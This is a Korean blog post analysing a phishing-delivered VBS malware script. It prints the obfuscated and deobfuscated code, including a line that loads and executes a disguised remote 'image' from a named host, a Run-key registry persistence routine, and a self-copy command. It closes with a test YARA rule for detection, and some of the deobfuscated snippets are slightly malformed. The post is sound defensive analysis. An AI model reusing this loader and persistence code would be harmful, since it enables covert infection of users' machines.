악성코드 분석일지 - vbs 스크립트

2022. 3. 5. 04:21보안 연구/Reversing

반응형

본 티스토리 블로그는 PC 환경에 최적화되어 있습니다.

모바일 유저분들은 아래 네이버 블로그를이용해 주세요.

 

 

악성코드 분석일지 - vbs 스크립트

본 네이버 블로그는 모바일 환경에 최적화되어 있습니다. PC 유저분들은 아래 티스토리 블로그를 이용해 ...

blog.naver.com

 

 

 

안녕하세요? ICMP입니다!

 

오늘도 손 좀 풀고자 간단한 악성코드를 들고 왔습니다.개인적으로 분석을 진행하다 보면 윈도우 운영체제 기반과 인젝션, 후킹 구현이 익숙하지 않아 막히는 부분이 상당히 많은 것 같습니다.

특히 cve나 0-day를 이용한다면 더더욱 컴퓨터 공학 지식이 중요한데 아직 공부를 더 해야 하나 봅니다.

 

자! 그럼 오늘도 한번 분석을 진행해 보도록 하겠습니다.

 

1. File Information

 

2. Script Analysis

해당 악성코드는 안랩 분석 보고서에 의하면 위장 메일로 전파되었으며 vbs 스크립트라고 합니다.

보통 스크립트 계열의 악성코드면 기본적으로 난독화나 암호화가 걸려 있다는 점을 숙지해야 합니다.

(그래야 백신에 걸리지 않겠죠???)

 

아래는 동작 코드입니다.

EJsTNgxuaA()
 

EmFoQLmt=mObA()
F=EmFoQLmt+ "\" + Wscript.ScriptName

LpyZqMLGm
if RVkhADNqukF = EmFoQLmt Then

WScript.Quit()
else
DDGszk()
End if
 

총 호출되는 함수는 3~4개 정도며 대부분 문자열이 난독화되어 있습니다.

이를 바꿔서 말하면 분석가를 방해할 방법이 난독화 밖에 없다는 것이죠!

디버거를 이용해서 하나하나 볼 수도 있지만 우리들의 코드 리뷰 스킬을 키우자는 의미에서 한번 직접 풀어 보도록 하겠습니다.

 

 

1) EJsTNgxuaA()

- 난독화 해제 전

Sub EJsTNgxuaA()
On Error Resume Next
 Set XbdbRrHOC = GetObject(hptcLCnXJhtaqYt("6e65773a46353037384633322d433535312d313144332d383942392d303030304638314645323231"))

 XbdbRrHOC.async = False

 Execute("XbdbRrHOC.Load hptcLCnXJhtaqYt(""68747470733A2F2F67726163656F6666696365323032322E303030776562686F73746170702E636F6D2F65322E6A7067"")")

 Execute("XbdbRrHOC." + "tra" + "nsf" + "orm" + "Node (XbdbRrHOC)")
End Sub

 

 

- 난독화 해제 후

Sub attack_vbs()
On Error Resume Next
	Set saved_directory = GetObject("new:F5078F32-C551-11D3-89B9-0000F81FE221")
	saved_directory.async = False
	Execute("saved_directory.Load https://graceoffice2022.000webhostapp.com/e2.jpg")
	Execute("saved_directory.transformNode (saved_directory)")
End Sub
 

공격자는 특정 사이트의 어떤 이미지 파일을 로딩해서 실행하는 동작의 코드를 작성했습니다.

현재는 해당 사이트가 접속이 되지 않습니다만, 확실한 건 해당 사진 파일은 단순한 사진이 아닌 웹 쉘 코드일 것으로 추정됩니다.

 

이 코드에서 가장 의문인 것이 바로 GetObject("new:F5078F32-C551-11D3-89B9-0000F81FE221")인데, 해당 인자를 검색해 보니 다음과 같은 정보를 얻을 수 있었습니다.

 

 

 

msdn 문서를 보니 msxml 3.0을 호출할 때 사용되는 guid 값이라고 합니다.

MSXML : MSXML은 J스크립트, VB스크립트, 또 윈도 네이티브 XML 기반 응용 프로그램을 만들 수 있는 마이크로소프트 개발 도구를 가지고 기록된 응용 프로그램을 허용하는 서비스 집합이다.

위키 백과
 

즉, 공격자는 msxml를 로딩하고 사전에 지정한 공격 코드가 저장된 위장 사진 파일을 읽어온 다음, 내부 쉘 코드를 그대로 실행한다고 생각하시면 되겠습니다.

 

 

2) mObA()

- 난독화 해제 전

Function wzdFZAk()
Set wzdFZAk = GetObject(hptcLCnXJhtaqYt("6e65773a37324332344444352d443730412d343338422d384134322d393834323442383841464238"))

End Function

Function wsRfVHlys()
wsRfVHlys=koWBXTna("% U S E R P R O F I L E %")
End Function

Function mObA()
mObA=wzdFZAk().ExpandEnvironmentStrings(wsRfVHlys()) + koWBXTna("\M u s ic")
End Function

 

 

- 난독화 해제 후

Function saved_ranDir()
	Set saved_ranDir = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
End Function

Function wsRfVHlys()
    wsRfVHlys=remove_blank("%USERPROFILE%")
End Function

Function ranDir()
	ranDir=saved_ranDir().ExpandEnvironmentStrings(wsRfVHlys()) + remove_blank("\Music")
End Function
 

이미지 내부의 어떤 코드를 실행한 직후의 코드입니다.

72C24DD5-D70A-438B-8A42-98424B88AFB8는 검색 결과 Windows Script Host Shell Object라고 합니다.

직접적인 실행 경로를 통한 호출은 백신 탐지 가능성이 높아서 progID, guid 값을 사용한 것 같습니다.(하드코딩의 느낌이랑 비슷하죠?)

 

최종적인 동작은 운영체제 사용자의 홈 디렉터리 정보를 담고 있는 환경 변수 %USERPROFILE% 경로 하위 경로 Music 주소를 프로세스 내부의 환경 변수? 로서 설정하는 부분으로 확인됩니다.

 

ExpandEnvironmentStrings의 정보는 아래 링크를 확인해 주세요.

 

[WScript.Shell] ExpandEnvironmentStrings - 환경 변수 값 알아내기

- [Method] ExpandEnvironmentStrings * 환경변수값 알아내기 * strReturn = WshShell.ExpandEnvironmentStrings(strString) - strReturn : an environment variable's expanded value. - strString : name of t..

codemuri.tistory.com

 

이렇게 되면 내부적인 환경 변수를 호출하면 바로 %USERPROFILE%/Music 경로 정보를 불러올 수 있습니다.

 

 

3) F

- 난독화 해제 전

F=EmFoQLmt+ "\" + Wscript.ScriptName

 

 

-난독화 해제 후

Script_nameDir = base_dir+ "\" + Wscript.ScriptName
 

변수에다가 %USERPROFILE%\Music\"실행 중인 스크립트의 이름" 주소 정보를 저장합니다.

 

 

4) LpyZqMLGm()

- 난독화 해제 전

Sub LpyZqMLGm()

Const gPklczba = &H80000001


Set CAsCFzVWO=GetObject(Fcfn() + "default:StdRegProv")
 
jXv = koWBXTna("Sof tw are\ Micro s o ft \Win dow s\Cu rrentV ers io n\R u n")
JeiGp = "qcPBoh"
pJBx = F
CAsCFzVWO.SetStringValue gPklczba,jXv,JeiGp,pJBx
 
End Sub

 

 

- 난독화 해제 후

Sub LpyZqMLGm()
	Const gPklczba = &H80000001
	Set CAsCFzVWO=GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\" + "default:StdRegProv")
	jXv = "Software\Microsoft\Windows\CurrentVersion\Run"
	JeiGp = "qcPBoh"
	pJBx = Script_nameDir

	GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv").SetStringValue 
    &H80000001,"Software\Microsoft\Windows\CurrentVersion\Run",qcPBoh,Script_nameDir

End Sub
 

여기서부터는 공격자가 희생자 PC 내부에 레지스트리를 설정하는 부분입니다.

 

GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\" + "default:StdRegProv")를 통해 레지스트리 생성을 위한 세팅을 진행하고 이후 추가 인자를 통해 경로를 설정해 줌을 알 수 있습니다.

 

정확한 정보는 아래 powershell을 통한 레지스트리 생성 msdn 문서를 참고해 주세요.

 

레지스트리 데이터 변경 - Win32 apps

WMI 용 시스템 레지스트리 공급자 클래스 StdRegProv에는 다음을 수행 하는 메서드가 있습니다.

docs.microsoft.com

 

바이러스 토탈로 동작을 확인해 본 결과 "HKU\S-1-5-21-575823232-3065301323-1442773979-1000\Software\Microsoft\Windows\CurrentVersion\Run\qcPBoh" 경로에 레지스트리를 생성하는 것이 확인되었습니다.

이는 윈도우가 다시 시작돼도 자동으로 스크립트가 실행되도록 설정해 주는 과정입니다.

 

 

5) RVkhADNqukF ~ 실행 분기

- 난독화 해제 전

if RVkhADNqukF = EmFoQLmt Then

WScript.Quit()
else
DDGszk()
End if

Private Sub DDGszk()
	qacr = ("cmd /c copy """) & xTRt & Wscript.ScriptName & """ """ & base_dir & """ /Y"
	Execute("saved_ranDir()." + remove_blank(" R u n ") + " qacr,0")
End Sub

 

 

- 난독화 해제 후

if WshShell.CurrentDirectory = %USERPROFILE%/Music Then
	WScript.Quit()
else
	DDGszk()
End if


Private Sub DDGszk()
	qacr = ("cmd /c copy """) & xTRt & Wscript.ScriptName & """ """ & base_dir & """ /Y"
	Execute("saved_ranDir().Run") + " qacr,0")
End Sub
 

xTRt 문자열 변수가 현재 확인이 불가능하여 공백으로 해석했습니다.

DDGszk 함수는 현재 공격자가 작성해놓은 스크립트 파일을 base_dir( = %USERPROFILE%/Music)로 복사하는 명령어를 실행합니다.

(= "/c copy "4109efb7c98f3ead5d49711ab77ffc4af944d4e1891f203ec19b2027e401cbd1.vbs" "%USERPROFILE%\Music" /Y")

 

CurrentDirectory 는 활성 프로세스의 현재 작업 디렉터리에 대한 완전한 경로를 포함하는 문자열을 반환하는데, 이 값이 %USERPROFILE%/Music 와 일치하면 위의 함수가 실행되고 같지 않으면 스크립트는 종료됩니다.

 

위 분석 결과를 종합한다면 다음과 같이 요약할 수 있습니다.

 
 

3. YARA rule

이제 분석 결과를 기반으로 한번 탐지룰을 작성해 보도록 하겠습니다.

아까 처음에 언급했던 것처럼 스크립트 계열은 대부분 난독화가 있어서 시그니처 기반으로 잡기가 어렵기에 정규 표현식을 조금 활용해야 할 것 같습니다.

rule Suspicious_Script
{
	meta:
		author = "ICMP_Blog"
		dscription = "This is just TEST!!!"
	
	strings:
		registry_addr = "Software\Microsoft\Windows\CurrentVersion\Run" nocase
		make_reg0 = "winmgmts:" nocase
		make_reg1 = {77 [1-3] 69 [1-3] 6E [1-3] 6D [1-3] 67 [1-3] 6D [1-3] 74 [1-3] 73}
		
		wscript_exe0 = {77 [1-3] 73 [1-3] 63 [1-3] 72 [1-3] 69 [1-3] 70 [1-3] 74 }
		wscript_exe1 = "wscript.exe" nocase
		
		malware_site = "graceoffice2022.000webhostapp.com" 
		
		script_runner0 = "F5078F32-C551-11D3-89B9-0000F81FE221"
		script_runner1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8"
		script_runner2 = "6e65773a46353037384633322d433535312d313144332d383942392d303030304638314645323231"
		script_runner3 = "68747470733A2F2F67726163656F6666696365323032322E303030776562686F73746170702E636F6D2F65322E6A7067"

	condition:
		all of them
}
 

흠... 코드가 상당히 더럽고 복잡합니다.

굳이 똑같은 문자열을 정규 표현식으로 표현한 건 의미가 없습니다.

(분명 공격자는 백신 우회를 위해 또 다른 방식으로 난독화를 진행할 테니까요..)

 

그럼에도 일반 평문과 같이 작성해놓은 이유는 yara사 실행 중인 프로세스에 대해서도 검사가 가능하기 때문입니다.

스크립트가 난독화가 되어 있어서도 함수가 호출되는 순간에는 디코딩 된 인자가 필요하기에 이는 메모리에 반드시 남을 가능성이 높습니다.

 

물론, 이 규칙은 단순히 테스트 목적이기에 실전에 사용하는 것은 별로 추천드리고 싶지 않습니다.

 

4. 결론

악성 스크립트는 분석하기는 상대적으로 쉬울 수 있으나 시그니처 기반으로 탐지하는 것은 상당히 어려운 일이고 이를 대응하기 위해서는 또 다른 탐지 기법과 관제 시스템이 있으면 매우 효과적으로 대처가 가능합니다.

 

 

부족한 코드 리뷰 때문에 난독화를 해제한 코드가 오히려 흐름을 이해하는데 방해하지 않았을까...

하여튼! 오늘의 분석은 여기까지입니다.

다음 시간에도 재밌는 악성코드를 분석해 보도록 하겠습니다.

이상! ICMP였습니다. 감사합니다!

 

반응형